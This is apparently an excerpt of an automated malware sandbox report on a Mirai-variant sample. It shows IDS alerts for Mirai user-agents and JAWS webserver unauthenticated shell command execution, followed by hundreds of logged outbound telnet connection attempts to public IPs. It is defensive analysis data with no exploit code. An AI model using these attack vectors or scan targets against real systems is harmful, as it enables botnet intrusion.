                                                  2025-02-04T18:08:51.927721+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.136003646.250.238.20980TCP
                                                  2025-02-04T18:08:52.936620+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.1357574199.139.41.19780TCP
                                                  2025-02-04T18:08:52.936620+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.1357574199.139.41.19780TCP
                                                  TimestampSource PortDest PortSource IPDest IP
                                                  Feb 4, 2025 18:08:31.975157976 CET4527923192.168.2.1395.230.86.222
                                                  Feb 4, 2025 18:08:31.975162029 CET4527923192.168.2.13125.16.35.222
                                                  Feb 4, 2025 18:08:31.975168943 CET4527923192.168.2.13129.165.150.28
                                                  Feb 4, 2025 18:08:31.975181103 CET4527923192.168.2.1396.154.188.221
                                                  Feb 4, 2025 18:08:31.975191116 CET4527923192.168.2.131.193.20.223
                                                  Feb 4, 2025 18:08:31.975191116 CET4527923192.168.2.1352.221.58.113
                                                  Feb 4, 2025 18:08:31.975209951 CET4527923192.168.2.13153.229.90.100
                                                  Feb 4, 2025 18:08:31.975209951 CET4527923192.168.2.13169.154.46.134
                                                  Feb 4, 2025 18:08:31.975209951 CET4527923192.168.2.13115.159.233.132
                                                  Feb 4, 2025 18:08:31.975214958 CET4527923192.168.2.13193.191.209.99
                                                  Feb 4, 2025 18:08:31.975214958 CET4527923192.168.2.13122.37.16.122
                                                  Feb 4, 2025 18:08:31.975243092 CET4527923192.168.2.13119.135.62.252
                                                  Feb 4, 2025 18:08:31.975245953 CET4527923192.168.2.13216.42.0.8
                                                  Feb 4, 2025 18:08:31.975250006 CET4527923192.168.2.1343.71.98.202
                                                  Feb 4, 2025 18:08:31.975250006 CET4527923192.168.2.1334.119.51.128
                                                  Feb 4, 2025 18:08:31.975250006 CET4527923192.168.2.13109.72.30.88
                                                  Feb 4, 2025 18:08:31.975255966 CET4527923192.168.2.1348.240.113.203
                                                  Feb 4, 2025 18:08:31.975255966 CET4527923192.168.2.1362.211.174.174
                                                  Feb 4, 2025 18:08:31.975255966 CET4527923192.168.2.13139.175.100.248
                                                  Feb 4, 2025 18:08:31.975255966 CET4527923192.168.2.131.68.171.30
                                                  Feb 4, 2025 18:08:31.975259066 CET4527923192.168.2.1323.158.188.96
                                                  Feb 4, 2025 18:08:31.975260973 CET4527923192.168.2.13172.179.127.144
                                                  Feb 4, 2025 18:08:31.975261927 CET4527923192.168.2.13220.239.152.185
                                                  Feb 4, 2025 18:08:31.975263119 CET4527923192.168.2.13145.30.34.105
                                                  Feb 4, 2025 18:08:31.975264072 CET4527923192.168.2.1360.230.177.40
                                                  Feb 4, 2025 18:08:31.975263119 CET4527923192.168.2.1393.208.218.182
                                                  Feb 4, 2025 18:08:31.975265026 CET4527923192.168.2.13203.29.196.195
                                                  Feb 4, 2025 18:08:31.975264072 CET4527923192.168.2.1362.115.233.129
                                                  Feb 4, 2025 18:08:31.975264072 CET4527923192.168.2.13192.176.33.168
                                                  Feb 4, 2025 18:08:31.975264072 CET4527923192.168.2.13182.226.18.253
                                                  Feb 4, 2025 18:08:31.975264072 CET4527923192.168.2.13209.29.13.227
                                                  Feb 4, 2025 18:08:31.975265026 CET4527923192.168.2.13162.12.49.3
                                                  Feb 4, 2025 18:08:31.975264072 CET4527923192.168.2.13105.192.46.77
                                                  Feb 4, 2025 18:08:31.975264072 CET4527923192.168.2.13177.91.135.136
                                                  Feb 4, 2025 18:08:31.975264072 CET4527923192.168.2.1364.208.53.152
                                                  Feb 4, 2025 18:08:31.975272894 CET4527923192.168.2.13179.108.60.164
                                                  Feb 4, 2025 18:08:31.975275993 CET4527923192.168.2.13196.52.233.99
                                                  Feb 4, 2025 18:08:31.975275993 CET4527923192.168.2.13107.246.205.34
                                                  Feb 4, 2025 18:08:31.975275993 CET4527923192.168.2.13133.26.170.236
                                                  Feb 4, 2025 18:08:31.975295067 CET4527923192.168.2.13179.34.250.152
                                                  Feb 4, 2025 18:08:31.975296021 CET4527923192.168.2.13223.68.43.82
                                                  Feb 4, 2025 18:08:31.975296021 CET4527923192.168.2.13180.90.89.148
                                                  Feb 4, 2025 18:08:31.975296974 CET4527923192.168.2.1395.233.21.143
                                                  Feb 4, 2025 18:08:31.975300074 CET4527923192.168.2.1331.106.9.118
                                                  Feb 4, 2025 18:08:31.975310087 CET4527923192.168.2.13203.93.151.199
                                                  Feb 4, 2025 18:08:31.975327969 CET4527923192.168.2.13184.192.189.244
                                                  Feb 4, 2025 18:08:31.975337029 CET4527923192.168.2.13182.203.150.28
                                                  Feb 4, 2025 18:08:31.975338936 CET4527923192.168.2.1358.96.145.209
                                                  Feb 4, 2025 18:08:31.975373983 CET4527923192.168.2.13142.99.118.173
                                                  Feb 4, 2025 18:08:31.975374937 CET4527923192.168.2.1313.163.41.174
                                                  Feb 4, 2025 18:08:31.975374937 CET4527923192.168.2.13222.75.125.14
                                                  Feb 4, 2025 18:08:31.975374937 CET4527923192.168.2.1361.110.191.99
                                                  Feb 4, 2025 18:08:31.975375891 CET4527923192.168.2.1340.194.209.90
                                                  Feb 4, 2025 18:08:31.975375891 CET4527923192.168.2.13133.78.141.189
                                                  Feb 4, 2025 18:08:31.975388050 CET4527923192.168.2.13196.98.122.111
                                                  Feb 4, 2025 18:08:31.975388050 CET4527923192.168.2.13187.136.118.151
                                                  Feb 4, 2025 18:08:31.975389004 CET4527923192.168.2.13154.193.88.30
                                                  Feb 4, 2025 18:08:31.975388050 CET4527923192.168.2.13221.37.14.131
                                                  Feb 4, 2025 18:08:31.975388050 CET4527923192.168.2.1376.204.77.204
                                                  Feb 4, 2025 18:08:31.975388050 CET4527923192.168.2.1353.88.55.216
                                                  Feb 4, 2025 18:08:31.975389004 CET4527923192.168.2.13197.13.89.71
                                                  Feb 4, 2025 18:08:31.975389004 CET4527923192.168.2.13138.90.164.1
                                                  Feb 4, 2025 18:08:31.975399971 CET4527923192.168.2.1365.27.150.176
                                                  Feb 4, 2025 18:08:31.975399971 CET4527923192.168.2.1397.93.239.61
                                                  Feb 4, 2025 18:08:31.975399971 CET4527923192.168.2.1312.238.146.187
                                                  Feb 4, 2025 18:08:31.975399971 CET4527923192.168.2.13205.117.177.244
                                                  Feb 4, 2025 18:08:31.975402117 CET4527923192.168.2.1325.253.195.127
                                                  Feb 4, 2025 18:08:31.975414038 CET4527923192.168.2.13109.78.60.216
                                                  Feb 4, 2025 18:08:31.975416899 CET4527923192.168.2.13145.25.249.245
                                                  Feb 4, 2025 18:08:31.975416899 CET4527923192.168.2.1342.212.222.168
                                                  Feb 4, 2025 18:08:31.975418091 CET4527923192.168.2.13189.9.128.239
                                                  Feb 4, 2025 18:08:31.975418091 CET4527923192.168.2.1387.162.75.176
                                                  Feb 4, 2025 18:08:31.975423098 CET4527923192.168.2.13183.127.13.247
                                                  Feb 4, 2025 18:08:31.975430012 CET4527923192.168.2.13140.0.175.225
                                                  Feb 4, 2025 18:08:31.975431919 CET4527923192.168.2.13148.25.34.131
                                                  Feb 4, 2025 18:08:31.975431919 CET4527923192.168.2.13128.85.225.207
                                                  Feb 4, 2025 18:08:31.975431919 CET4527923192.168.2.1373.41.19.160
                                                  Feb 4, 2025 18:08:31.975435019 CET4527923192.168.2.13218.84.30.169
                                                  Feb 4, 2025 18:08:31.975431919 CET4527923192.168.2.13193.113.184.41
                                                  Feb 4, 2025 18:08:31.975433111 CET4527923192.168.2.1325.57.71.130
                                                  Feb 4, 2025 18:08:31.975431919 CET4527923192.168.2.13187.166.46.80
                                                  Feb 4, 2025 18:08:31.975436926 CET4527923192.168.2.13199.111.15.43
                                                  Feb 4, 2025 18:08:31.975436926 CET4527923192.168.2.13165.219.193.190
                                                  Feb 4, 2025 18:08:31.975450993 CET4527923192.168.2.13183.212.154.166
                                                  Feb 4, 2025 18:08:31.975450993 CET4527923192.168.2.13158.212.136.140
                                                  Feb 4, 2025 18:08:31.975450993 CET4527923192.168.2.1392.211.132.33
                                                  Feb 4, 2025 18:08:31.975451946 CET4527923192.168.2.1332.93.138.127
                                                  Feb 4, 2025 18:08:31.975451946 CET4527923192.168.2.13221.13.121.252
                                                  Feb 4, 2025 18:08:31.975452900 CET4527923192.168.2.13166.228.233.224
                                                  Feb 4, 2025 18:08:31.975452900 CET4527923192.168.2.13161.224.230.225
                                                  Feb 4, 2025 18:08:31.975456953 CET4527923192.168.2.1358.27.40.119
                                                  Feb 4, 2025 18:08:31.975456953 CET4527923192.168.2.1337.117.173.47
                                                  Feb 4, 2025 18:08:31.975475073 CET4527923192.168.2.13218.47.113.199
                                                  Feb 4, 2025 18:08:31.975476980 CET4527923192.168.2.1335.60.96.255
                                                  Feb 4, 2025 18:08:31.975478888 CET4527923192.168.2.13133.140.46.185
                                                  Feb 4, 2025 18:08:31.975486040 CET4527923192.168.2.13171.150.244.152
                                                  Feb 4, 2025 18:08:31.975490093 CET4527923192.168.2.13177.91.51.47
                                                  Feb 4, 2025 18:08:31.975491047 CET4527923192.168.2.13183.211.3.110
                                                  Feb 4, 2025 18:08:31.975495100 CET4527923192.168.2.13125.133.229.156
                                                  Feb 4, 2025 18:08:31.975496054 CET4527923192.168.2.13156.43.150.180
                                                  Feb 4, 2025 18:08:31.975501060 CET4527923192.168.2.13179.169.212.243
                                                  Feb 4, 2025 18:08:31.975517035 CET4527923192.168.2.135.196.211.231
                                                  Feb 4, 2025 18:08:31.975857973 CET4527923192.168.2.139.219.134.57
                                                  Feb 4, 2025 18:08:31.975857973 CET4527923192.168.2.13103.253.62.20
                                                  Feb 4, 2025 18:08:31.975858927 CET4527923192.168.2.1317.155.34.61
                                                  Feb 4, 2025 18:08:31.975862026 CET4527923192.168.2.1314.19.12.99
                                                  Feb 4, 2025 18:08:31.975862980 CET4527923192.168.2.1343.179.233.67
                                                  Feb 4, 2025 18:08:31.975867987 CET4527923192.168.2.1370.107.210.57
                                                  Feb 4, 2025 18:08:31.975867987 CET4527923192.168.2.13220.22.131.79
                                                  Feb 4, 2025 18:08:31.975867987 CET4527923192.168.2.13132.48.49.108
                                                  Feb 4, 2025 18:08:31.975874901 CET4527923192.168.2.13179.187.149.67
                                                  Feb 4, 2025 18:08:31.975883961 CET4527923192.168.2.13207.168.184.168
                                                  Feb 4, 2025 18:08:31.975886106 CET4527923192.168.2.13158.103.199.137
                                                  Feb 4, 2025 18:08:31.975887060 CET4527923192.168.2.1387.88.92.172
                                                  Feb 4, 2025 18:08:31.975891113 CET4527923192.168.2.13182.196.103.207
                                                  Feb 4, 2025 18:08:31.975891113 CET4527923192.168.2.13135.170.93.18
                                                  Feb 4, 2025 18:08:31.975893974 CET4527923192.168.2.1338.24.171.61
                                                  Feb 4, 2025 18:08:31.975893974 CET4527923192.168.2.13191.244.72.106
                                                  Feb 4, 2025 18:08:31.975895882 CET4527923192.168.2.13139.103.217.86
                                                  Feb 4, 2025 18:08:31.975914955 CET4527923192.168.2.13219.110.222.62
                                                  Feb 4, 2025 18:08:31.975917101 CET4527923192.168.2.1338.98.124.236
                                                  Feb 4, 2025 18:08:31.975922108 CET4527923192.168.2.1389.221.58.54
                                                  Feb 4, 2025 18:08:31.975924969 CET4527923192.168.2.13185.34.87.205
                                                  Feb 4, 2025 18:08:31.975925922 CET4527923192.168.2.13197.128.208.150
                                                  Feb 4, 2025 18:08:31.975929022 CET4527923192.168.2.13222.103.241.198
                                                  Feb 4, 2025 18:08:31.975929976 CET4527923192.168.2.13146.60.127.40
                                                  Feb 4, 2025 18:08:31.975929976 CET4527923192.168.2.13196.101.6.7
                                                  Feb 4, 2025 18:08:31.975929976 CET4527923192.168.2.1343.193.84.70
                                                  Feb 4, 2025 18:08:31.975933075 CET4527923192.168.2.13165.153.14.32
                                                  Feb 4, 2025 18:08:31.975933075 CET4527923192.168.2.13163.190.219.247
                                                  Feb 4, 2025 18:08:31.975955009 CET4527923192.168.2.13178.7.169.168
                                                  Feb 4, 2025 18:08:31.975955963 CET4527923192.168.2.1374.186.40.166
                                                  Feb 4, 2025 18:08:31.975967884 CET4527923192.168.2.13134.178.77.229
                                                  Feb 4, 2025 18:08:31.975969076 CET4527923192.168.2.13202.193.148.112
                                                  Feb 4, 2025 18:08:31.975970984 CET4527923192.168.2.13143.86.126.7
                                                  Feb 4, 2025 18:08:31.975970984 CET4527923192.168.2.13202.8.161.132
                                                  Feb 4, 2025 18:08:31.975970984 CET4527923192.168.2.13134.197.27.105
                                                  Feb 4, 2025 18:08:31.975970984 CET4527923192.168.2.1344.118.76.54
                                                  Feb 4, 2025 18:08:31.975975037 CET4527923192.168.2.1353.90.161.83
                                                  Feb 4, 2025 18:08:31.975975037 CET4527923192.168.2.13188.195.224.107
                                                  Feb 4, 2025 18:08:31.975975037 CET4527923192.168.2.13210.138.87.108
                                                  Feb 4, 2025 18:08:31.975976944 CET4527923192.168.2.1353.101.29.175
                                                  Feb 4, 2025 18:08:31.975976944 CET4527923192.168.2.13192.181.60.73
                                                  Feb 4, 2025 18:08:31.975976944 CET4527923192.168.2.1382.109.16.11
                                                  Feb 4, 2025 18:08:31.975977898 CET4527923192.168.2.1398.249.250.71
                                                  Feb 4, 2025 18:08:31.975977898 CET4527923192.168.2.13169.47.142.0
                                                  Feb 4, 2025 18:08:31.975982904 CET4527923192.168.2.13222.123.153.5
                                                  Feb 4, 2025 18:08:31.976003885 CET4527923192.168.2.13211.222.112.43
                                                  Feb 4, 2025 18:08:31.976003885 CET4527923192.168.2.13195.12.146.51
                                                  Feb 4, 2025 18:08:31.976006031 CET4527923192.168.2.1359.228.206.13
                                                  Feb 4, 2025 18:08:31.976006985 CET4527923192.168.2.1319.227.219.204
                                                  Feb 4, 2025 18:08:31.976011038 CET4527923192.168.2.13137.135.75.86
                                                  Feb 4, 2025 18:08:31.976026058 CET4527923192.168.2.1336.194.245.158
                                                  Feb 4, 2025 18:08:31.976026058 CET4527923192.168.2.13144.121.11.151
                                                  Feb 4, 2025 18:08:31.976027966 CET4527923192.168.2.13216.116.67.174
                                                  Feb 4, 2025 18:08:31.976028919 CET4527923192.168.2.13131.83.83.129
                                                  Feb 4, 2025 18:08:31.976030111 CET4527923192.168.2.13211.252.91.126
                                                  Feb 4, 2025 18:08:31.976039886 CET4527923192.168.2.13186.62.255.158
                                                  Feb 4, 2025 18:08:31.976043940 CET4527923192.168.2.1349.66.32.11
                                                  Feb 4, 2025 18:08:31.976052046 CET4527923192.168.2.13180.210.232.180
                                                  Feb 4, 2025 18:08:31.976069927 CET4527923192.168.2.13200.236.212.243
                                                  Feb 4, 2025 18:08:31.976073980 CET4527923192.168.2.13113.177.64.251
                                                  Feb 4, 2025 18:08:31.976075888 CET4527923192.168.2.1369.107.147.53
                                                  Feb 4, 2025 18:08:31.976075888 CET4527923192.168.2.1345.212.70.138
                                                  Feb 4, 2025 18:08:31.976078033 CET4527923192.168.2.13130.68.241.219
                                                  Feb 4, 2025 18:08:31.976079941 CET4527923192.168.2.13209.160.183.79
                                                  Feb 4, 2025 18:08:31.976080894 CET4527923192.168.2.13196.107.225.191
                                                  Feb 4, 2025 18:08:31.976080894 CET4527923192.168.2.13210.213.55.43
                                                  Feb 4, 2025 18:08:31.976082087 CET4527923192.168.2.1367.139.25.116
                                                  Feb 4, 2025 18:08:31.976099014 CET4527923192.168.2.13189.126.248.117
                                                  Feb 4, 2025 18:08:31.976104021 CET4527923192.168.2.1398.225.129.118
                                                  Feb 4, 2025 18:08:31.976106882 CET4527923192.168.2.1385.103.28.155
                                                  Feb 4, 2025 18:08:31.976109982 CET4527923192.168.2.1396.172.198.51
                                                  Feb 4, 2025 18:08:31.976123095 CET4527923192.168.2.1340.225.226.235
                                                  Feb 4, 2025 18:08:31.976124048 CET4527923192.168.2.13160.23.255.243
                                                  Feb 4, 2025 18:08:31.976125002 CET4527923192.168.2.13190.107.138.192
                                                  Feb 4, 2025 18:08:31.976144075 CET4527923192.168.2.1394.49.190.196
                                                  Feb 4, 2025 18:08:31.976145029 CET4527923192.168.2.13105.159.180.130
                                                  Feb 4, 2025 18:08:31.976150990 CET4527923192.168.2.1393.168.95.247
                                                  Feb 4, 2025 18:08:31.976155996 CET4527923192.168.2.1346.129.59.117
                                                  Feb 4, 2025 18:08:31.976155996 CET4527923192.168.2.13103.9.189.221
                                                  Feb 4, 2025 18:08:31.976160049 CET4527923192.168.2.13121.197.69.110
                                                  Feb 4, 2025 18:08:31.976169109 CET4527923192.168.2.13217.95.148.38
                                                  Feb 4, 2025 18:08:31.976175070 CET4527923192.168.2.13167.51.191.150
                                                  Feb 4, 2025 18:08:31.976178885 CET4527923192.168.2.1339.72.174.142
                                                  Feb 4, 2025 18:08:31.976181984 CET4527923192.168.2.1391.233.126.189
                                                  Feb 4, 2025 18:08:31.976181984 CET4527923192.168.2.13119.120.96.125
                                                  Feb 4, 2025 18:08:31.976186037 CET4527923192.168.2.1312.51.135.123
                                                  Feb 4, 2025 18:08:31.976186037 CET4527923192.168.2.1378.2.95.193
                                                  Feb 4, 2025 18:08:31.976203918 CET4527923192.168.2.1327.215.207.13
                                                  Feb 4, 2025 18:08:31.976207018 CET4527923192.168.2.13110.69.201.179
                                                  Feb 4, 2025 18:08:31.976207972 CET4527923192.168.2.13220.202.204.253
                                                  Feb 4, 2025 18:08:31.976208925 CET4527923192.168.2.1399.238.203.239
                                                  Feb 4, 2025 18:08:31.976211071 CET4527923192.168.2.1382.141.196.173
                                                  Feb 4, 2025 18:08:31.976211071 CET4527923192.168.2.13220.224.70.138
                                                  Feb 4, 2025 18:08:31.976223946 CET4527923192.168.2.1332.22.44.90
                                                  Feb 4, 2025 18:08:31.976232052 CET4527923192.168.2.13171.163.213.120
                                                  Feb 4, 2025 18:08:31.976233006 CET4527923192.168.2.1372.115.212.238
                                                  Feb 4, 2025 18:08:31.976238966 CET4527923192.168.2.1368.63.211.13
                                                  Feb 4, 2025 18:08:31.976252079 CET4527923192.168.2.13178.165.231.49
                                                  Feb 4, 2025 18:08:31.976257086 CET4527923192.168.2.13166.20.44.109
                                                  Feb 4, 2025 18:08:31.976257086 CET4527923192.168.2.13120.64.153.176
                                                  Feb 4, 2025 18:08:31.976257086 CET4527923192.168.2.13218.254.239.17
                                                  Feb 4, 2025 18:08:31.976258039 CET4527923192.168.2.13189.250.231.93
                                                  Feb 4, 2025 18:08:31.976258039 CET4527923192.168.2.13112.29.81.15
                                                  Feb 4, 2025 18:08:31.976265907 CET4527923192.168.2.13179.29.85.216
                                                  Feb 4, 2025 18:08:31.976274967 CET4527923192.168.2.13117.124.142.59
                                                  Feb 4, 2025 18:08:31.976274014 CET4527923192.168.2.13177.208.59.117
                                                  Feb 4, 2025 18:08:31.976278067 CET4527923192.168.2.13135.195.219.63
                                                  Feb 4, 2025 18:08:31.976274014 CET4527923192.168.2.13202.145.11.81
                                                  Feb 4, 2025 18:08:31.976284981 CET4527923192.168.2.13133.113.84.96
                                                  Feb 4, 2025 18:08:31.976291895 CET4527923192.168.2.13152.23.192.5
                                                  Feb 4, 2025 18:08:31.976301908 CET4527923192.168.2.13181.169.194.159
                                                  Feb 4, 2025 18:08:31.976301908 CET4527923192.168.2.13150.170.162.15
                                                  Feb 4, 2025 18:08:31.976320982 CET4527923192.168.2.13105.111.158.244
                                                  Feb 4, 2025 18:08:31.976321936 CET4527923192.168.2.13185.195.233.247
                                                  Feb 4, 2025 18:08:31.976320982 CET4527923192.168.2.1337.114.55.195
                                                  Feb 4, 2025 18:08:31.976321936 CET4527923192.168.2.1388.234.57.232
                                                  Feb 4, 2025 18:08:31.976321936 CET4527923192.168.2.1396.19.205.82
                                                  Feb 4, 2025 18:08:31.976322889 CET4527923192.168.2.134.85.255.75
                                                  Feb 4, 2025 18:08:31.976327896 CET4527923192.168.2.13163.148.229.176
                                                  Feb 4, 2025 18:08:31.976330042 CET4527923192.168.2.1349.151.41.219
                                                  Feb 4, 2025 18:08:31.976330996 CET4527923192.168.2.1387.184.224.14
                                                  Feb 4, 2025 18:08:31.976332903 CET4527923192.168.2.13221.234.170.49
                                                  Feb 4, 2025 18:08:31.976332903 CET4527923192.168.2.1347.168.149.91
                                                  Feb 4, 2025 18:08:31.976337910 CET4527923192.168.2.1381.212.42.58
                                                  Feb 4, 2025 18:08:31.976340055 CET4527923192.168.2.13169.39.250.159
                                                  Feb 4, 2025 18:08:31.976341963 CET4527923192.168.2.1384.196.63.123
                                                  Feb 4, 2025 18:08:31.976345062 CET4527923192.168.2.1395.219.90.95
                                                  Feb 4, 2025 18:08:31.976345062 CET4527923192.168.2.13139.106.118.48
                                                  Feb 4, 2025 18:08:31.976350069 CET4527923192.168.2.13176.236.77.120
                                                  Feb 4, 2025 18:08:31.976350069 CET4527923192.168.2.13103.157.35.158
                                                  Feb 4, 2025 18:08:31.976350069 CET4527923192.168.2.1379.216.154.183
                                                  Feb 4, 2025 18:08:31.976363897 CET4527923192.168.2.13194.200.150.241
                                                  Feb 4, 2025 18:08:31.976363897 CET4527923192.168.2.13107.107.113.234
                                                  Feb 4, 2025 18:08:31.976366043 CET4527923192.168.2.13205.28.254.111
                                                  Feb 4, 2025 18:08:31.976368904 CET4527923192.168.2.13178.196.72.240
                                                  Feb 4, 2025 18:08:31.976372957 CET4527923192.168.2.1367.110.199.218
                                                  Feb 4, 2025 18:08:31.976381063 CET4527923192.168.2.13135.30.124.221
                                                  Feb 4, 2025 18:08:31.976391077 CET4527923192.168.2.1364.96.211.162
                                                  Feb 4, 2025 18:08:31.976391077 CET4527923192.168.2.13202.190.165.229
                                                  Feb 4, 2025 18:08:31.976398945 CET4527923192.168.2.13121.156.216.157
                                                  Feb 4, 2025 18:08:31.976399899 CET4527923192.168.2.1334.196.130.218
                                                  Feb 4, 2025 18:08:31.976403952 CET4527923192.168.2.1376.222.91.50
                                                  Feb 4, 2025 18:08:31.976403952 CET4527923192.168.2.135.74.41.129
                                                  Feb 4, 2025 18:08:31.976403952 CET4527923192.168.2.1342.214.243.229
                                                  Feb 4, 2025 18:08:31.976403952 CET4527923192.168.2.1396.222.182.174
                                                  Feb 4, 2025 18:08:31.976408005 CET4527923192.168.2.13217.165.149.245
                                                  Feb 4, 2025 18:08:31.976411104 CET4527923192.168.2.1386.79.233.64
                                                  Feb 4, 2025 18:08:31.976417065 CET4527923192.168.2.1380.131.183.247
                                                  Feb 4, 2025 18:08:31.976417065 CET4527923192.168.2.13170.223.243.91
                                                  Feb 4, 2025 18:08:31.976421118 CET4527923192.168.2.13179.240.194.14
                                                  Feb 4, 2025 18:08:31.976421118 CET4527923192.168.2.1398.124.63.63
                                                  Feb 4, 2025 18:08:31.976433039 CET4527923192.168.2.1372.90.210.78
                                                  Feb 4, 2025 18:08:31.976434946 CET4527923192.168.2.1323.179.78.157
                                                  Feb 4, 2025 18:08:31.976434946 CET4527923192.168.2.13194.47.115.215
                                                  Feb 4, 2025 18:08:31.976438999 CET4527923192.168.2.13217.203.37.80
                                                  Feb 4, 2025 18:08:31.976460934 CET4527923192.168.2.1346.219.54.81
                                                  Feb 4, 2025 18:08:31.976460934 CET4527923192.168.2.13109.55.102.52
                                                  Feb 4, 2025 18:08:31.976464987 CET4527923192.168.2.13149.173.171.6
                                                  Feb 4, 2025 18:08:31.976468086 CET4527923192.168.2.13133.106.174.202
                                                  Feb 4, 2025 18:08:31.976468086 CET4527923192.168.2.13208.91.105.107
                                                  Feb 4, 2025 18:08:31.976469994 CET4527923192.168.2.1360.236.171.170
                                                  Feb 4, 2025 18:08:31.976478100 CET4527923192.168.2.1334.97.97.150
                                                  Feb 4, 2025 18:08:31.976490021 CET4527923192.168.2.13128.211.67.230
                                                  Feb 4, 2025 18:08:31.976490021 CET4527923192.168.2.1327.190.37.237
                                                  Feb 4, 2025 18:08:31.976496935 CET4527923192.168.2.1370.126.134.127
                                                  Feb 4, 2025 18:08:31.976505995 CET4527923192.168.2.1341.165.198.198
                                                  Feb 4, 2025 18:08:31.976511002 CET4527923192.168.2.1365.211.69.78
                                                  Feb 4, 2025 18:08:31.976511002 CET4527923192.168.2.13197.162.141.84
                                                  Feb 4, 2025 18:08:31.976512909 CET4527923192.168.2.13218.39.139.20
                                                  Feb 4, 2025 18:08:31.976521969 CET4527923192.168.2.13184.235.28.129
                                                  Feb 4, 2025 18:08:31.976531029 CET4527923192.168.2.13152.249.46.14
                                                  Feb 4, 2025 18:08:31.976533890 CET4527923192.168.2.13123.207.143.48
                                                  Feb 4, 2025 18:08:31.976535082 CET4527923192.168.2.13176.191.179.6
                                                  Feb 4, 2025 18:08:31.976552010 CET4527923192.168.2.13222.200.203.91
                                                  Feb 4, 2025 18:08:31.976552010 CET4527923192.168.2.13184.237.240.96
                                                  Feb 4, 2025 18:08:31.976553917 CET4527923192.168.2.13200.155.96.1
                                                  Feb 4, 2025 18:08:31.976562977 CET4527923192.168.2.132.89.12.178
                                                  Feb 4, 2025 18:08:31.976573944 CET4527923192.168.2.1372.60.206.170
                                                  Feb 4, 2025 18:08:31.976573944 CET4527923192.168.2.13222.44.244.194
                                                  Feb 4, 2025 18:08:31.976576090 CET4527923192.168.2.13203.238.95.10
                                                  Feb 4, 2025 18:08:31.976576090 CET4527923192.168.2.13134.117.179.185
                                                  Feb 4, 2025 18:08:31.976576090 CET4527923192.168.2.1336.222.134.49
                                                  Feb 4, 2025 18:08:31.976576090 CET4527923192.168.2.13209.187.187.67
                                                  Feb 4, 2025 18:08:31.976576090 CET4527923192.168.2.1339.94.230.83
                                                  Feb 4, 2025 18:08:31.976586103 CET4527923192.168.2.13130.166.227.216
                                                  Feb 4, 2025 18:08:31.976594925 CET4527923192.168.2.13130.116.230.204
                                                  Feb 4, 2025 18:08:31.976610899 CET4527923192.168.2.13163.73.190.56
                                                  Feb 4, 2025 18:08:31.976610899 CET4527923192.168.2.1380.116.153.21
                                                  Feb 4, 2025 18:08:31.976613998 CET4527923192.168.2.1382.170.231.208
                                                  Feb 4, 2025 18:08:31.976613998 CET4527923192.168.2.1352.41.87.134
                                                  Feb 4, 2025 18:08:31.976613998 CET4527923192.168.2.13211.94.100.8
                                                  Feb 4, 2025 18:08:31.976617098 CET4527923192.168.2.13130.108.160.168
                                                  Feb 4, 2025 18:08:31.976617098 CET4527923192.168.2.13213.117.73.167
                                                  Feb 4, 2025 18:08:31.976617098 CET4527923192.168.2.1394.205.137.113
                                                  Feb 4, 2025 18:08:31.976620913 CET4527923192.168.2.13102.69.244.153
                                                  Feb 4, 2025 18:08:31.976628065 CET4527923192.168.2.1394.249.51.105
                                                  Feb 4, 2025 18:08:31.976646900 CET4527923192.168.2.13213.146.136.5
                                                  Feb 4, 2025 18:08:31.976648092 CET4527923192.168.2.13186.202.40.220
                                                  Feb 4, 2025 18:08:31.976651907 CET4527923192.168.2.1376.55.197.27
                                                  Feb 4, 2025 18:08:31.976654053 CET4527923192.168.2.13168.134.50.146
                                                  Feb 4, 2025 18:08:31.976663113 CET4527923192.168.2.1313.152.200.51
                                                  Feb 4, 2025 18:08:31.976665974 CET4527923192.168.2.1399.10.219.139
                                                  Feb 4, 2025 18:08:31.976674080 CET4527923192.168.2.13189.115.140.208
                                                  Feb 4, 2025 18:08:31.976686954 CET4527923192.168.2.135.86.100.27
                                                  Feb 4, 2025 18:08:31.976686954 CET4527923192.168.2.13122.135.3.216
                                                  Feb 4, 2025 18:08:31.976687908 CET4527923192.168.2.13185.95.23.139
                                                  Feb 4, 2025 18:08:31.976691961 CET4527923192.168.2.13199.61.77.110
                                                  Feb 4, 2025 18:08:31.976691961 CET4527923192.168.2.1395.174.223.58
                                                  Feb 4, 2025 18:08:31.976694107 CET4527923192.168.2.13125.19.194.65
                                                  Feb 4, 2025 18:08:31.976694107 CET4527923192.168.2.1399.106.59.196
                                                  Feb 4, 2025 18:08:31.976697922 CET4527923192.168.2.13177.72.88.208
                                                  Feb 4, 2025 18:08:31.976708889 CET4527923192.168.2.1393.41.10.105
                                                  Feb 4, 2025 18:08:31.976711988 CET4527923192.168.2.13180.56.1.26
                                                  Feb 4, 2025 18:08:31.976728916 CET4527923192.168.2.13123.91.17.36
                                                  Feb 4, 2025 18:08:31.976732016 CET4527923192.168.2.13191.85.131.216
                                                  Feb 4, 2025 18:08:31.976991892 CET4527923192.168.2.139.221.65.136
                                                  Feb 4, 2025 18:08:31.976999998 CET4527923192.168.2.1390.140.243.193
                                                  Feb 4, 2025 18:08:31.977000952 CET4527923192.168.2.13158.45.114.77
                                                  Feb 4, 2025 18:08:31.977005005 CET4527923192.168.2.1398.98.46.103
                                                  Feb 4, 2025 18:08:31.977005005 CET4527923192.168.2.13205.183.174.105
                                                  Feb 4, 2025 18:08:31.977010012 CET4527923192.168.2.13148.170.244.82
                                                  Feb 4, 2025 18:08:31.977013111 CET4527923192.168.2.1394.246.93.152
                                                  Feb 4, 2025 18:08:31.977013111 CET4527923192.168.2.1358.170.231.55
                                                  Feb 4, 2025 18:08:31.977024078 CET4527923192.168.2.1348.105.155.135
                                                  Feb 4, 2025 18:08:31.977025986 CET4527923192.168.2.1376.80.18.205
                                                  Feb 4, 2025 18:08:31.977040052 CET4527923192.168.2.1351.103.135.183
                                                  Feb 4, 2025 18:08:31.977044106 CET4527923192.168.2.13157.20.114.91
                                                  Feb 4, 2025 18:08:31.977050066 CET4527923192.168.2.1389.73.19.159
                                                  Feb 4, 2025 18:08:31.977060080 CET4527923192.168.2.1349.188.137.30
                                                  Feb 4, 2025 18:08:31.977070093 CET4527923192.168.2.13112.128.138.79
                                                  Feb 4, 2025 18:08:31.977072001 CET4527923192.168.2.13170.111.191.195
                                                  Feb 4, 2025 18:08:31.977072001 CET4527923192.168.2.1342.182.66.157
                                                  Feb 4, 2025 18:08:31.977072954 CET4527923192.168.2.13174.133.229.191
